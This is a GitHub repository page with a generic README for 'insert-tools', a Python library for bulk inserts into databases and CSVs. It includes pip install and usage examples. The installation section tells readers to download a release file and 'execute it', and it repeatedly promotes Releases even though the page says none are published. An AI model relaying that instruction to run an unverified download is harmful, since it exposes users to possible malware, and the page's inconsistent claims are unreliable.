Skip to content

Simple and fast Python toolset for bulk data insertion into databases and CSVs. Ideal for ETL pipelines and data engineering tasks.

License

Notifications You must be signed in to change notification settings

ramarimoo/insert-tools

Repository files navigation

Insert Tools 🛠️

GitHub release Python version License

Welcome to Insert Tools, a simple and fast Python toolset designed for bulk data insertion into databases and CSV files. This repository is ideal for ETL (Extract, Transform, Load) pipelines and data engineering tasks.

Table of Contents

Features

  • Bulk Insertion: Insert large volumes of data efficiently.
  • Multiple Formats: Supports various database systems and CSV formats.
  • ETL Ready: Designed for seamless integration into ETL workflows.
  • Open Source: Free to use and modify under the MIT License.

Installation

To install Insert Tools, you can use pip. Run the following command:

pip install insert-tools

Alternatively, you can download the latest release from our Releases section. Download the file, then execute it to install.

Usage

Using Insert Tools is straightforward. Here’s a quick example of how to perform a bulk insert.

Basic Example

from insert_tools import BulkInserter

# Initialize the inserter
inserter = BulkInserter(database='your_database', table='your_table')

# Prepare your data
data = [
    {'column1': 'value1', 'column2': 'value2'},
    {'column1': 'value3', 'column2': 'value4'},
]

# Perform the bulk insert
inserter.insert(data)

Advanced Usage

You can customize your insertion process by specifying options such as batch size and error handling. For instance:

inserter = BulkInserter(database='your_database', table='your_table', batch_size=1000)

try:
    inserter.insert(data)
except Exception as e:
    print(f"An error occurred: {e}")

Supported Databases

Insert Tools supports a variety of databases, including:

  • PostgreSQL
  • MySQL
  • SQLite
  • ClickHouse
  • MongoDB

You can easily extend the tool to support additional databases by following the contribution guidelines.

Contributing

We welcome contributions to Insert Tools. If you have suggestions or improvements, please fork the repository and submit a pull request.

Steps to Contribute

  1. Fork the repository.
  2. Create a new branch (git checkout -b feature/YourFeature).
  3. Make your changes.
  4. Commit your changes (git commit -m 'Add some feature').
  5. Push to the branch (git push origin feature/YourFeature).
  6. Open a pull request.

License

Insert Tools is licensed under the MIT License. See the LICENSE file for details.

Contact

For questions or feedback, feel free to reach out to the maintainers:

Releases

For the latest updates and downloads, visit our Releases section. You can download the latest version, which includes new features and bug fixes.

Additional Resources

Acknowledgments

We would like to thank the contributors and the open-source community for their support and feedback. Your contributions make this project better.

Frequently Asked Questions (FAQ)

What is Insert Tools?

Insert Tools is a Python library designed for efficient bulk data insertion into databases and CSV files, making it suitable for ETL processes.

Can I use Insert Tools with any database?

Insert Tools supports several databases out of the box. You can extend it to support more by following the contribution guidelines.

How do I report issues?

You can report issues by creating an issue in the GitHub repository. Please provide as much detail as possible.

Is there a community for Insert Tools?

Yes, you can join our discussions on GitHub or follow us on social media platforms for updates and community support.

Conclusion

Insert Tools offers a powerful solution for bulk data insertion tasks. Whether you are working on data engineering projects or need a reliable tool for your ETL pipeline, Insert Tools is here to help. Explore the repository, contribute, and make the most of your data workflows.

Visit our Releases section for the latest updates and downloads.

About

Simple and fast Python toolset for bulk data insertion into databases and CSVs. Ideal for ETL pipelines and data engineering tasks.

Topics

Resources

License

Code of conduct

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •